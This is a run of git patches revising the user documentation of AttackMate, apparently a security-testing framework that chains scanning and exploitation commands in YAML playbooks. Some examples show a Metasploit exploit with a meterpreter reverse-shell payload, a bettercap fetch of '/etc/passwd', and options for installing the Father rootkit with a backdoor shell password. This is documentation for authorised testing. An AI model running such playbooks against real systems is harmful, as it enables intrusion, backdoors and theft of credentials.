**True**. +The final command is a shell command that executes a nikto scan using the previously +parsed ``$PORT`` variable. The ``only_if`` condition ensures this command will only be executed if ``$PORT == 8000`` is **True**. -:: +.. code-block:: yaml - type: shell cmd: nikto -host $TARGET -port $PORT diff --git a/docs/source/playbook/structure.rst b/docs/source/playbook/structure.rst index 218fc819..e77999b6 100644 --- a/docs/source/playbook/structure.rst +++ b/docs/source/playbook/structure.rst @@ -13,8 +13,8 @@ AttackMate playbooks must be written in valid `YAML-format `_ - type: shell cmd: nikto -host www.vulnerable-system.tld -Usually playbooks also contain a :ref:`variable section ` which contains all the placeholders -that can be used to build commands: +Usually playbooks also contain a :ref:`vars ` section to define reusable +placeholders that can be referenced throughout the ``commands`` section: .. code-block:: yaml @@ -24,6 +24,7 @@ that can be used to build commands: NMAP: /usr/bin/nmap NIKTO: /usr/bin/nikto + commands: - type: shell cmd: $NMAP -T4 $TARGET From 08388115329ebcda2e15c79bb7911e2910b0f565 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 14:27:28 +0100 Subject: [PATCH 16/40] use absolute image path in readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a9b73a4f..5f6395d7 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -AttackMate Logo +AttackMate Logo ========== [![Build Status](https://aecidjenkins.ait.ac.at/buildStatus/icon?job=AECID%2FAECID%2Fattackmate%2Fmain)]( "https://aecidjenkins.ait.ac.at/job/AECID/job/AECID/job/attackmate/job/main/") From bcb5b77bda30a3ef1e1e08a305d443c0994b5121 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 15:14:42 +0100 Subject: [PATCH 17/40] improve command docs --- docs/source/playbook/commands/bettercap.rst | 106 ++++++++------------ docs/source/playbook/commands/browser.rst | 27 ++--- docs/source/playbook/commands/debug.rst | 15 ++- docs/source/playbook/commands/index.rst | 95 ++++++++---------- docs/source/playbook/vars.rst | 39 ++++--- 5 files changed, 125 insertions(+), 157 deletions(-) diff --git a/docs/source/playbook/commands/bettercap.rst b/docs/source/playbook/commands/bettercap.rst index b1d2e807..e3e1f8a3 100644 --- a/docs/source/playbook/commands/bettercap.rst +++ b/docs/source/playbook/commands/bettercap.rst @@ -4,13 +4,14 @@ bettercap ========= -This command communicates with the bettercap rest-api. It supports all -endpoints of the official api. Please see `Bettercap Rest-Api Docs `_ +This command communicates with the Bettercap REST API. It supports all +endpoints of the official API. Please see `Bettercap Rest-Api Docs `_ for additional information. All commands return a json-formatted string. -All commands support the setting: `connection`. This settings allows to query a api-command on a specific host. The name -of the connection must be set in attackmate.yml. If connection is not set, the command will be executed on the first -connection in attackmate.yml: +All ``bettercap`` commands support the ``connection`` field, which specifies which configured +host to target. Connection profiles are defined in ``attackmate.yml`` under +:ref:`bettercap_config`. If ``connection`` is omitted, the first profile in the configuration +is used as the default. .. code-block:: yaml @@ -33,55 +34,52 @@ connection in attackmate.yml: data: cmd: "net.sniff on" connection: remote - # this is executed on localhost: + # this is executed on localhost (default): - type: bettercap cmd: get_events .. note:: - To configure the connection to the bettercap rest-api see :ref:`bettercap_config` + To configure the connection to the bettercap REST API see :ref:`bettercap_config` post_api_session ---------------- -Post a command to the interactive session. +Post a command to the interactive Bettercap session. + +.. confval:: data + + Key-value pairs of POST data to send to the session endpoint. + + :type: Dict[str, str] .. code-block:: yaml - ### commands: - type: bettercap cmd: post_api_session data: cmd: "net.sniff on" -.. confval:: data +get_file +-------- - Dict(key/values) of post-data: +Retrieve a file from the Bettercap API server. - :type: Dict[str,str] +.. confval:: filename -get_file --------- + Full path of the file to retrieve from the API server. -Get a file from the api-server. + :type: str .. code-block:: yaml - ### commands: - type: bettercap cmd: get_file filename: "/etc/passwd" -.. confval:: filename - - Full path of the filename on the api-server. - - :type: str - - delete_api_events ----------------- @@ -89,33 +87,28 @@ Clear the events buffer. .. code-block:: yaml - ### commands: - type: bettercap cmd: delete_api_events - get_events ---------- -Get all events +Retrieve all events from the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_events - get_session_modules ------------------- -Get session modules +Retrieve all modules active in the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_modules @@ -123,11 +116,10 @@ Get session modules get_session_env --------------- -Get session environment +Retrieve the environment variables of the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_env @@ -135,11 +127,10 @@ Get session environment get_session_gateway ------------------- -Get session gateway +Retrieve gateway information for the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_gateway @@ -147,11 +138,10 @@ Get session gateway get_session_interface --------------------- -Get session interface +Retrieve network interface information for the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_interface @@ -159,11 +149,10 @@ Get session interface get_session_options ------------------- -Get session options +Retrieve the configured options for the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_options @@ -171,11 +160,10 @@ Get session options get_session_packets ------------------- -Get session packets +Retrieve packet statistics for the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_packets @@ -183,11 +171,10 @@ Get session packets get_session_started_at ---------------------- -Get session started at +Retrieve the timestamp of when the current session was started. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_started_at @@ -195,25 +182,21 @@ Get session started at get_session_hid --------------- -Get a JSON of the HID devices in the current session - -.. code-block:: yaml - - ### - commands: - - type: bettercap - cmd: get_session_hid +Retrieve a JSON list of HID devices discovered in the current session. .. confval:: mac - Optional parameter to return the info of a specific endpoint + Optional. Filter results to a specific device by MAC address. :type: str .. code-block:: yaml - ### commands: + - type: bettercap + cmd: get_session_hid + + # Filter by MAC address: - type: bettercap cmd: get_session_hid mac: "32:26:9f:a4:08" @@ -221,24 +204,23 @@ Get a JSON of the HID devices in the current session get_session_ble --------------- -Get a JSON of the BLE devices in the current session. +Retrieve a JSON list of BLE devices discovered in the current session. + .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_ble .. confval:: mac - Optional parameter to return the info of a specific endpoint + Optional parameter to return the info of a specific device by MAC address. :type: str .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_ble @@ -247,24 +229,22 @@ Get a JSON of the BLE devices in the current session. get_session_lan --------------- -Get a JSON of the lan devices in the current session +Get a JSON of the lan devices in the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_lan .. confval:: mac - Optional parameter to return the info of a specific endpoint + Optional parameter to return the info of a specific device by MAC address. :type: str .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_lan @@ -273,24 +253,22 @@ Get a JSON of the lan devices in the current session get_session_wifi ---------------- -Get a JSON of the wifi devices (clients and access points) in the current session +Get a JSON of the wifi devices (clients and access points) in the current session. .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_wifi .. confval:: mac - Optional parameter to return the info of a specific endpoint + Optional parameter to return the info of a specific device by MAC address. :type: str .. code-block:: yaml - ### commands: - type: bettercap cmd: get_session_wifi diff --git a/docs/source/playbook/commands/browser.rst b/docs/source/playbook/commands/browser.rst index c86d6bb1..f51a1d54 100644 --- a/docs/source/playbook/commands/browser.rst +++ b/docs/source/playbook/commands/browser.rst @@ -2,13 +2,14 @@ browser ======= -Execute commands using a Playwright-managed browser (Chromium). This executor can launch a browser, navigate to pages, click elements, type into fields, and take screenshots. +Execute commands using a Playwright-managed Chromium browser. This executor can launch a browser, navigate to pages, click elements, type into fields, and take screenshots. .. note:: - By default, if no session is provided or created, the command will run in an ephemeral browser session - (launched and destroyed for each command). If you want to persist browser state (cookies, localStorage, - etc.) across multiple commands, use the :confval:`creates_session` or :confval:`session` options. + By default, each command runs in an ephemeral browser session that is launched and + destroyed automatically. To persist browser state (cookies, localStorage, + etc.) across multiple commands, use the :confval:`creates_session` to open a named + session and :confval:`session` to reuse it. .. code-block:: yaml @@ -22,26 +23,26 @@ Execute commands using a Playwright-managed browser (Chromium). This executor ca url: $URL creates_session: my_session - # Reuse the existing "my_session" to type text into an input field + # Type into a field, reusing the named session: - type: browser cmd: type selector: "input[id='searchInput']" text: "Test" session: "my_session" - # Click on the "submit" button, still reusing "my_session" + # Click on the "submit" button, reusing the named session: - type: browser cmd: click selector: "button[type='submit']" session: "my_session" - # Take a screenshot of the current page in the "my_session" + # Take a screenshot of the current page, reusing the named session: - type: browser cmd: screenshot screenshot_path: "example.png" session: "my_session" - # Open a page in an ephemeral session (automatically closed) + # Open a page in an ephemeral session (automatically closed after command) - type: browser cmd: visit url: "https://www.google.com" @@ -54,13 +55,13 @@ Execute commands using a Playwright-managed browser (Chromium). This executor ca .. confval:: url - URL to visit for the ``visit`` command. + URL to navigate to for the ``visit`` command. :type: str .. confval:: selector - CSS selector identifying the element to interact with for the ``click`` or ``type`` commands. + CSS selector identifying the target element to interact with for the ``click`` or ``type`` commands. :type: str @@ -72,16 +73,16 @@ Execute commands using a Playwright-managed browser (Chromium). This executor ca .. confval:: screenshot_path - Specifies the file path where a screenshot should be saved for the ``screenshot`` command. + Filepath where a screenshot should be saved for the ``screenshot`` command. :type: str .. confval:: creates_session - A session name to create when running this command. Once created, the session is retained in the + Name of a new browser session to create. Once created, the session is retained in the session store for reuse by subsequent ``browser`` commands that specify ``session``. - If a session of the same name already exists, it is automatically closed before creating the new one. + If a session with the same name already exists, it is automatically closed and replaced. :type: str diff --git a/docs/source/playbook/commands/debug.rst b/docs/source/playbook/commands/debug.rst index 33ec553e..d938eebd 100644 --- a/docs/source/playbook/commands/debug.rst +++ b/docs/source/playbook/commands/debug.rst @@ -2,12 +2,11 @@ debug ===== -This command prints out strings and variables and is for debugging -purposes/printing to the console only. This command does not modify the Builtin Variable ``RESULT_STDOUT``. +The ``debug`` command prints messages and variables to the console. It is intended for +troubleshooting playbooks and does not modify ``RESULT_STDOUT``. .. code-block:: yaml - ### vars: $SERVER_ADDRESS: 192.42.0.254 $NMAP: /usr/bin/nmap @@ -19,7 +18,7 @@ purposes/printing to the console only. This command does not modify the Builtin .. confval:: cmd - A message to print on the screen. + A message to print to the console. Supports variable substitution. :type: str :default: ``empty_string`` @@ -27,7 +26,7 @@ purposes/printing to the console only. This command does not modify the Builtin .. confval:: varstore - Print out all variables that are stored in the VariableStore. + Print out all variables currently stored in the VariableStore. :type: bool :default: ``False`` @@ -36,15 +35,15 @@ purposes/printing to the console only. This command does not modify the Builtin This setting causes the programm to exit when the command was executed. It will exit with an error in order to indicate - that this is an exceptional break. + that this is an intentional early termination. :type: bool :default: ``False`` .. confval:: wait_for_key - This setting causes the programm to pause until the user - hits the enter key. + Pause execution until the user presses Enter. Useful for stepping through a + playbook manually. :type: bool :default: ``False`` diff --git a/docs/source/playbook/commands/index.rst b/docs/source/playbook/commands/index.rst index 95d99e05..42b50ce7 100644 --- a/docs/source/playbook/commands/index.rst +++ b/docs/source/playbook/commands/index.rst @@ -7,11 +7,11 @@ Commands The *'commands-section'* holds a list of AttackMate-commands that are executed sequentially from top to bottom. -Every command, regardless of the type has the following general options: +Every command, regardless of the type supports the following general options: .. confval:: cmd - *cmd* defines the command that should be executed. The purpose of this option varies depending on the type of command. + Defines the command that should be executed. The meaning of this option varies depending on the type of command. :type: str @@ -30,40 +30,37 @@ Every command, regardless of the type has the following general options: .. confval:: exit_on_error - If this option is true, attackmate will exit with an error if the command returns with a return code - that is not zero. + If ``True``, attackmate will exit with an error if the command returns a non-zero exit code. :type: bool :default: ``True`` .. confval:: error_if - If this option is set, an error will be raised if the string was found in the **output** - of the command. + Raise an error if the given pattern is found in the command output. :type: str(regex) .. code-block:: yaml commands: - # throw an error + # throws an error - type: http-client cmd: get - url: https://www.google.com + url: https://www.bing.com error_if: ".*bing.*" .. confval:: error_if_not - If this option is set, an error will be raised if the string was not found in the **output** - of the command. + Raise an error if the given pattern is **not** found in the command output. :type: str(regex) .. code-block:: yaml commands: - # throw an error + # throws an error - type: http-client cmd: get url: https://www.google.com @@ -72,8 +69,8 @@ Every command, regardless of the type has the following general options: .. confval:: loop_if - If this option is set, the command will be executed again if the string was found in the - **output** of the command. + Re-execute the command if the given pattern is found in the output. Repeats + until the pattern no longer matches or ``loop_count`` is reached. :type: str(regex) @@ -89,8 +86,8 @@ Every command, regardless of the type has the following general options: .. confval:: loop_if_not - If this option is set, the command will be executed again if the string was not found in the - **output** of the command. + Re-execute the command if the given pattern is **not** found in the output. Repeats + until the pattern matches or ``loop_count`` is reached. :type: str(regex) @@ -103,35 +100,30 @@ Every command, regardless of the type has the following general options: url: https://www.google.com loop_if_not: ".*bing.*" -.. confval:: loop_count + .. confval:: loop_count - Number of Repetitions if *loop_if* or *loop_if_not* matches. + Maximum number of repetitions when *loop_if* or *loop_if_not* is set. - :type: ini + :type: int :default: ``3`` .. confval:: only_if - Execute this command only if the condition is true. The following operators are supported: - - * var1 == var2 - * var1 != var2 - * var1 is var2 - * var1 is not var2 - * var1 < var2 - * var1 <= var2 - * var1 > var2 - * var1 >= var2 - * string !~ pattern - * string =~ pattern - * not var - * var - * None + Execute this command only if the condition evaluates to ``True``. Supported operators: + + * ``var1 == var2``, ``var1 != var2`` + * ``var1 is var2``, ``var1 is not var2`` + * ``var1 < var2``, ``var1 <= var2``, ``var1 > var2``, ``var1 >= var2`` + * ``string =~ pattern`` — matches if string satisfies the regex pattern + * ``string !~ pattern`` — matches if string does not satisfy the regex pattern + * ``not var``, ``var``, ``None`` :type: str(condition) - The =~ operator is used to check if a string matches a regular expression pattern. - The !~ operator is used to check if a string does not match a regular expression pattern. + .. note:: + + The =~ operator is used to check if a string matches a regular expression pattern. + The !~ operator is used to check if a string does not match a regular expression pattern. .. code-block:: yaml @@ -145,13 +137,12 @@ Every command, regardless of the type has the following general options: output: KILLPID: $MATCH_0 - # Execute this command only - # if it is not the init-process + # Only kill if it is not the init process: - type: shell cmd: kill $KILLPID only_if: $KILLPID > 1 - # Execute this command only if the regex pattern is found + # Only execute if the regex pattern matches: - type: shell cmd: echo "regex match found" only_if: some_string =~ some[_]?string @@ -159,18 +150,22 @@ Every command, regardless of the type has the following general options: .. confval:: background - Execute the command as a subprocess in background. If set to *True*, - the functionality for *error_if* and *error_if_not* as well as printing - the output is disabled. + Execute the command as a background subprocess. When enabled, output is not printed + and ``error_if`` / ``error_if_not`` have no effect. + + .. note:: + + The command in background-mode will change global variables like + RESULT_STDOUT to "Command started in Background" and RESULT_CODE to 0. - Background-Mode is currently not implemented for the following commands: + Background mode is not supported for:: * MsfModuleCommand * IncludeCommand * VncCommand * BrowserCommand - Background-Mode together with a session is currently not implemented for the following commands: + Background mode together with a session is not supported for the following commands: * SSHCommand * SFTPCommand @@ -178,24 +173,20 @@ Every command, regardless of the type has the following general options: :type: bool :default: ``False`` - .. note:: - The command in background-mode will change global variables like - RESULT_STDOUT to "Command started in Background" and RESULT_CODE to 0. .. confval:: kill_on_exit - If this command runs in background-mode, the option *kill_on_exit* controls - if the main process will wait for this subprocess before exitting or if the - main process will simply kill the subprocess. + If this command runs in background mode, the option *kill_on_exit* controls + whether the main process kills the subprocess on exit (``True``) or waits for it to finish (``False``). :type: bool :default: ``True`` .. confval:: metadata - The option *metadata* can be used to pass a dictionary of key value pairs. - These are not used in command execution but are logged together with the command. + An optional dictionary of key-value pairs that are logged alongside the command + but have no effect on execution. :type: Dict :default: None @@ -210,7 +201,7 @@ Every command, regardless of the type has the following general options: author: Ellen Ripley -The next pages will describe all possible commands in detail. +The next pages will describe each command type in detail. .. toctree:: :maxdepth: 4 diff --git a/docs/source/playbook/vars.rst b/docs/source/playbook/vars.rst index 40d42348..1c736679 100644 --- a/docs/source/playbook/vars.rst +++ b/docs/source/playbook/vars.rst @@ -4,51 +4,50 @@ Variables ========= -Variables may be assigned to by a statement of the form of key-values. -Once assigned, they can be used as placeholders in command-settings. It -is unnecessary to begin variable names with a $-sign when defined in the -vars-section. However, when variables are placed in the commands section, -they always must start with a $-sign. -If the same variable name with the prefix "ATTACKMATE_" exists as an -environment variable it will overwrite the playbook variable value. -i.e. the playbookvariabel $FOO will be overwritten be environment variabel -$ATTACKMATE_FOO. +Variables are defined as key-value pairs in the ``vars`` section and can be used as +placeholders in command settings. Variable names do not require a ``$`` prefix when +defined in the ``vars`` section, but **must** be prefixed with ``$`` when referenced +in the ``commands`` section. +If an environment variable with the prefix ``ATTACKMATE_`` exists with the same name, +it will override the playbook variable. For example, the playbookvariabel $FOO will +be overwritten be environment variabel $ATTACKMATE_FOO. .. code-block:: yaml ### vars: $SERVER_ADDRESS: 192.42.0.254 - # the $-sign is not necessary here: + # the $-sign is optional here: $NMAP: /usr/bin/nmap commands: - type: shell - # the $-sign is required when using the variable: + # the $-sign is required when referencing the variable: cmd: $NMAP $SERVER_ADDRESS .. note:: - For more information about using the variables see `string.Template `_ + Variable substitution uses Python's `string.Template + `_ syntax. .. note:: - variables in cmd settings of a loop command will be substituted on every iteration of the loop, see :ref:`loop` + Variables in ``cmd`` settings of a ``loop`` command will be substituted on every iteration of the loop, see :ref:`loop` for details. Builtin Variables ================= -The following variables are set by the system: +The following variables are set automatically by AttackMate during execution: -``RESULT_STDOUT`` is set after every command execution (except for debug, regex and setvar commands) and stores the result output. +``RESULT_STDOUT`` Stores the standard output of the most recently executed command. Not set by ``debug``, ``regex``, or ``setvar`` commands. -``RESULT_CODE`` is set after every command execution and stores the returncode. +``RESULT_CODE`` Stores the return code of the most recently executed command. -``LAST_MSF_SESSION`` is set every time after a new metasploit session was created and contains the session number. +``LAST_MSF_SESSION`` Set whenever a new Metasploit session is created. Contains the session number. -``LAST_SLIVER_IMPLANT`` is set every time after a new sliver implant was created and contains the path to the implant file. +``LAST_SLIVER_IMPLANT`` Set whenever a new Sliver implant is generated. Contains the path to the implant file. -``LAST_FATHER_PATH`` is set every time when a father-rootkit was generated. +``LAST_FATHER_PATH`` Set whenever a Father rootkit is generated. Contains the path to the rootkit. -``REGEX_MATCHES_LIST`` is set every time a regex command yields matches and it contains a list of all matches. Note that if sub or split does not have a match the input string is returned. +``REGEX_MATCHES_LIST`` Set every time a regex command yields matches. Contains a list of all matches. If ``sub`` or ``split`` finds no match, the original input string is returned. From c75ae7fefe75d5c15d9ff5824ca9418b4ce5bf70 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 16:00:47 +0100 Subject: [PATCH 18/40] improve command docs --- docs/source/playbook/commands/father.rst | 9 +- docs/source/playbook/commands/httpclient.rst | 41 ++--- docs/source/playbook/commands/include.rst | 2 +- docs/source/playbook/commands/json.rst | 168 ++++++++++--------- docs/source/playbook/commands/loop.rst | 86 ++++++---- 5 files changed, 165 insertions(+), 141 deletions(-) diff --git a/docs/source/playbook/commands/father.rst b/docs/source/playbook/commands/father.rst index c91fe421..3d1717e9 100644 --- a/docs/source/playbook/commands/father.rst +++ b/docs/source/playbook/commands/father.rst @@ -12,7 +12,6 @@ Father can be found at `this GitHub-Page `_ .. code-block:: yaml - ### commands: - type: father cmd: generate @@ -41,7 +40,7 @@ Father can be found at `this GitHub-Page `_ .. confval:: epochtime - Time for timebomb() to go off, in seconds since 1970-01-01 + Time for ``timebomb()`` to go off, in seconds since 1970-01-01. :type: int :default: ``0000000000`` @@ -63,7 +62,7 @@ Father can be found at `this GitHub-Page `_ .. confval:: preload_file - Hide this preload file(hide the rootkit) + Hide this preload file (hide the rootkit). :type: str :default: ``ld.so.preload`` @@ -77,14 +76,14 @@ Father can be found at `this GitHub-Page `_ .. confval:: shell_pass - Password for accept() backdoor shell + Password for ``accept()`` backdoor shell. :type: str :default: ``lobster`` .. confval:: install_path - Location of rootkit on disk + Location of rootkit on disk. :type: str :default: ``/lib/selinux.so.3`` diff --git a/docs/source/playbook/commands/httpclient.rst b/docs/source/playbook/commands/httpclient.rst index 18903041..e27eb3df 100644 --- a/docs/source/playbook/commands/httpclient.rst +++ b/docs/source/playbook/commands/httpclient.rst @@ -2,16 +2,17 @@ http-client =========== -Execute HTTP-requests like curl does. This command also supports HTTP/2 +Send HTTP requests with support for common methods, custom headers, cookies, and HTTP/2. .. code-block:: yaml - ### commands: + # Simple HTTP/2 GET request: - type: http-client url: https://www.google.com http2: True + # POST request with headers, cookies, and form data: - type: http-client cmd: POST url: https://api.myapp.tld @@ -24,6 +25,7 @@ Execute HTTP-requests like curl does. This command also supports HTTP/2 view: edit id: 10 + # PUT request uploading a local file - type: http-client cmd: PUT url: https://api.myapp.tld/dav @@ -33,22 +35,15 @@ Execute HTTP-requests like curl does. This command also supports HTTP/2 .. confval:: cmd - The HTTP-Method to use. Supported methods are: - - * GET - * POST - * PUT - * DELETE - * PATCH - * HEAD - * OPTIONS + HTTP method to use. Supported values: ``GET``, ``POST``, ``PUT``, ``DELETE``, + ``PATCH``, ``HEAD``, ``OPTIONS``. :type: str :default: ``GET`` .. confval:: url - Address of the target website. + URL of the target. :type: str :required: ``True`` @@ -62,55 +57,55 @@ Execute HTTP-requests like curl does. This command also supports HTTP/2 .. confval:: headers - Include these extra headers in the request when sending HTTP to a server. + Additional HTTP headers to include in the request. :type: dict[str,str] .. confval:: cookies - Pass the data to the HTTP server in the Cookie header. + Cookies to send in the ``Cookie`` header. :type: dict[str,str] .. confval:: data - Sends the specified data in a POST request to the HTTP server, in the same - way that a browser does when a user has filled in an HTML form and presses - the submit button. + Form data to send in the request body. Equivalent to submitting an HTML form. + Typically used with ``POST``. :type: dict[str,str] .. confval:: local_path - Load content from the given file and send it via HTTP. This is useful for - dav uploads. + Path to a local file whose contents will be sent as the request body. Useful + for WebDAV uploads. :type: str .. confval:: useragent - Change the user-agent string. + Override the ``User-Agent`` header. :type: str :default: ``AttackMate`` .. confval:: follow - Automatically follow redirects + Automatically follow HTTP redirects. :type: bool :default: ``False`` .. confval:: verify - This option makes attackmate skip the secure connection verification step and proceed without checking. + Verify the server's TLS certificate. Set to ``False`` to skip verification + (e.g. for self-signed certificates). :type: bool :default: ``False`` .. confval:: http2 - Try to use HTTP version 2. AttackMate will negotiate the HTTP version with the server and use HTTP2 if possible. + Negotiate HTTP/2 with the server and use it if supported. :type: bool :default: ``False`` diff --git a/docs/source/playbook/commands/include.rst b/docs/source/playbook/commands/include.rst index 79b140fb..cde9730e 100644 --- a/docs/source/playbook/commands/include.rst +++ b/docs/source/playbook/commands/include.rst @@ -27,7 +27,7 @@ Include and run commands from another yaml-file. .. confval:: local_path - Path to the yaml-file + Path to the yaml file. :type: str :required: ``True`` diff --git a/docs/source/playbook/commands/json.rst b/docs/source/playbook/commands/json.rst index f27299fd..b14d4a88 100644 --- a/docs/source/playbook/commands/json.rst +++ b/docs/source/playbook/commands/json.rst @@ -2,12 +2,13 @@ json ==== -Parse variables from a JSON file or from a variable (for example, ``RESULT_STDOUT``) that contains a valid JSON string. -If the "local_path" option is used, the JSON is read directly from the specified file. The "cmd" option is optional. If "local_path" is defined, the "cmd" option will be ignored. -If no "local_path" is set, the JSON is read from the "cmd" option. The variables are recursively parsed from the JSON input and saved in the variable store. -The variables are recursively parsed from the json input and are saved as single variables in the variable store. -Variable names are generated by concatenating keys at each level using an underscore (_) as a separator. -If the lowest-level value is a list of primitives (e.g., strings, integers), the list is preserved as-is without further flattening. +Parse JSON into variables and store them in the variable store. Input can be either a +JSON file (via ``local_path``) or a variable containing a valid JSON string (via ``cmd``). +If ``local_path`` is set, ``cmd`` is ignored. + +Keys are flattened recursively into variable names by joining each level with an underscore +(``_``). Lists of primitives (strings, integers, etc.) are preserved as-is without further +flattening. List elements that are objects are indexed numerically (e.g. ``friends_0_name``). Example ------- @@ -16,103 +17,112 @@ Given the following JSON input: .. code-block:: json - { - "first_list": [1, 2, 3], - "user": { - "name": "John Doe", - "age": 30, - "address": { - "street": "123 Main St", - "city": "New York", - "postal_codes": [10001, 10002] - }, - "friends": [ - { - "name": "Jane Smith", - "age": 28, - "address": { - "street": "456 Oak Rd", - "city": "Los Angeles", - "postal_codes": [90001, 90002] - } - }, - { - "name": "Emily Davis", - "age": 35, - "address": { - "street": "789 Pine Ln", - "city": "Chicago", - "postal_codes": [60007, 60008] - } - } - ] - } - } - -The variables would be saved in the variable store as follows: + { + "first_list": [1, 2, 3], + "user": { + "name": "John Doe", + "age": 30, + "address": { + "street": "123 Main St", + "city": "New York", + "postal_codes": [10001, 10002] + }, + "friends": [ + { + "name": "Jane Smith", + "age": 28, + "address": { + "street": "456 Oak Rd", + "city": "Los Angeles", + "postal_codes": [90001, 90002] + } + }, + { + "name": "Emily Davis", + "age": 35, + "address": { + "street": "789 Pine Ln", + "city": "Chicago", + "postal_codes": [60007, 60008] + } + } + ] + } + } + +The variables will be saved in the variable store: .. code-block:: yaml - first_list: [1, 2, 3] - user_name: "John Doe" - user_age: 30 - user_address_street: "123 Main St" - user_address_city: "New York" - user_address_postal_codes: [10001, 10002, 10003] - user_friends_0_name: "Jane Smith" - user_friends_0_age: 28 - user_friends_0_address_street: "456 Oak Rd" - user_friends_0_address_city: "Los Angeles" - user_friends_0_address_postal_codes: [90001, 90002] - user_friends_1_name: "Emily Davis" - user_friends_1_age: 35 - user_friends_1_address_street: "789 Pine Ln" - user_friends_1_address_city: "Chicago" - user_friends_1_address_postal_codes: [60007, 60008] + first_list: [1, 2, 3] + user_name: "John Doe" + user_age: 30 + user_address_street: "123 Main St" + user_address_city: "New York" + user_address_postal_codes: [10001, 10002] + user_friends_0_name: "Jane Smith" + user_friends_0_age: 28 + user_friends_0_address_street: "456 Oak Rd" + user_friends_0_address_city: "Los Angeles" + user_friends_0_address_postal_codes: [90001, 90002] + user_friends_1_name: "Emily Davis" + user_friends_1_age: 35 + user_friends_1_address_street: "789 Pine Ln" + user_friends_1_address_city: "Chicago" + user_friends_1_address_postal_codes: [60007, 60008] Configuration ------------- +.. note:: + + Either ``local_path`` or ``cmd`` must be provided. + .. confval:: local_path - The JSON input to parse from. Valid input is a path to a JSON file. If "local_path" is set, the "cmd" option will be ignored. + Path to a JSON file to parse. Takes precedence over ``cmd`` if both are set. :type: str - :required: False .. confval:: cmd - The JSON input to parse from. Valid input is a variable name from the variable store (without the leading ``$``) that contains a valid JSON string. + Name of a variable in the variable store (without the leading ``$``) whose value + is a valid JSON string. :type: str - :required: False - - Either ``local_path`` OR ``cmd`` is required. .. confval:: varstore - If set to ``True``, logs the variable store before and after adding variables using the JSON command. + Log the variable store before and after the command executes, useful for debugging. :type: bool - :required: False + :default: ``False`` Examples -------- +Parse a JSON file directly: + +.. code-block:: yaml + + commands: + - type: json + local_path: "/path/to/samplefile.json" + varstore: True + +Parse JSON from a shell command's output: + .. code-block:: yaml - commands: - - type: json - local_path: "/path/to/samplefile.json" - varstore: True - - type: shell - cmd: | - cat < Date: Tue, 10 Mar 2026 16:17:52 +0100 Subject: [PATCH 19/40] improve command docs --- docs/source/playbook/commands/mktemp.rst | 18 +-- docs/source/playbook/commands/msf-module.rst | 117 +++++++++--------- docs/source/playbook/commands/msf-session.rst | 51 +++++--- 3 files changed, 102 insertions(+), 84 deletions(-) diff --git a/docs/source/playbook/commands/mktemp.rst b/docs/source/playbook/commands/mktemp.rst index 38431dc4..c7fba5f9 100644 --- a/docs/source/playbook/commands/mktemp.rst +++ b/docs/source/playbook/commands/mktemp.rst @@ -2,12 +2,12 @@ mktemp ====== -Create temporary files or directories that are deleted when the programm exits. -The path to the file or directory is storen in a given variable. +Create a temporary file or directory that is automatically deleted when AttackMate exits. +The path to the file or directory is stored in a variable for use in subsequent +commands. .. code-block:: yaml - ### commands: - type: mktemp cmd: file @@ -26,17 +26,21 @@ The path to the file or directory is storen in a given variable. .. confval:: cmd - Define if a file or directory will be created. Valid - options are: *file* or *dir*. + Whether to create a temporary file or directory. :type: str :default: ``file`` + Valid values: + + * ``file`` — create a temporary file + * ``dir`` — create a temporary directory + .. confval:: variable - This setting defines a variable where the path of the - temporary file or directory will be stored. + Name of the variable where the path of the + temporary file or directory will be stored (without the leading ``$``). :type: str :required: ``True`` diff --git a/docs/source/playbook/commands/msf-module.rst b/docs/source/playbook/commands/msf-module.rst index 78f9ad87..e10f9e12 100644 --- a/docs/source/playbook/commands/msf-module.rst +++ b/docs/source/playbook/commands/msf-module.rst @@ -4,13 +4,13 @@ msf-module ========== -This command executes Metasploit-Modules via Metasploits RPC-Api. +Execute Metasploit modules via the Metasploit RPC API. .. note:: - To configure the connection to the msfrpc-server see :ref:`msf_config` + To configure the connection to ``msfrpcd``, see :ref:`msf_config`. -Some Metasploit-Modules return output. Like the Auxilary-Modules: +Some modules (like auxiliary scanners) produce direct output: .. code-block:: yaml @@ -20,92 +20,93 @@ Some Metasploit-Modules return output. Like the Auxilary-Modules: options: RHOSTS: 192.42.0.254 -Most Exploit-Modules don't create output but instead they create -sessions(see :ref:`msf-session`) +Most exploit modules do not produce direct output but instead open a session +(see :ref:`msf-session`): .. code-block:: yaml commands: - type: msf-module - cmd: exploit/unix/webapp/zoneminder_snapshots - creates_session: "foothold" - options: - RHOSTS: 192.42.0.254 - payload_options: - LHOST: 192.42.2.253 - payload: cmd/unix/python/meterpreter/reverse_tcp + cmd: exploit/unix/webapp/zoneminder_snapshots + creates_session: foothold + options: + RHOSTS: 192.42.0.254 + payload: cmd/unix/python/meterpreter/reverse_tcp + payload_options: + LHOST: 192.42.2.253 + .. confval:: cmd - This option stores the path to the metasploit-module. + Path to the Metasploit module, including the module type prefix + (e.g. ``exploit/unix/...``, ``auxiliary/scanner/...``). + + :type: str + :required: True + +.. confval:: options + + Key-value pairs of module options (e.g. ``RHOSTS``, ``RPORT``). + + :type: Dict[str, str] + +.. confval:: payload + + Path to the payload to use with this module + (e.g. ``linux/x64/shell/reverse_tcp``). :type: str - .. note:: +.. confval:: payload_options - Please note that the path includes the module-type. + Key-value pairs of payload options (e.g. ``LHOST``, ``LPORT``). + :type: 